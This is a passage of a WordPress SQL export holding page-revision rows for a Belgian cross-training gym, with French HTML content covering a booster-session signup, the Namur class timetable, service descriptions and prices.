(440, 1, '2014-08-31 07:39:13', '2014-08-31 07:39:13', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2014-08-31 07:39:13', '2014-08-31 07:39:13', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(441, 1, '2014-08-31 07:41:25', '2014-08-31 07:41:25', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance booster', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2014-08-31 07:41:25', '2014-08-31 07:41:25', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(445, 1, '2014-08-31 07:59:59', '2014-08-31 07:59:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:59:59', '2014-08-31 07:59:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(442, 1, '2014-08-31 07:56:06', '2014-08-31 07:56:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:56:06', '2014-08-31 07:56:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(444, 1, '2014-08-31 07:58:24', '2014-08-31 07:58:24', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td 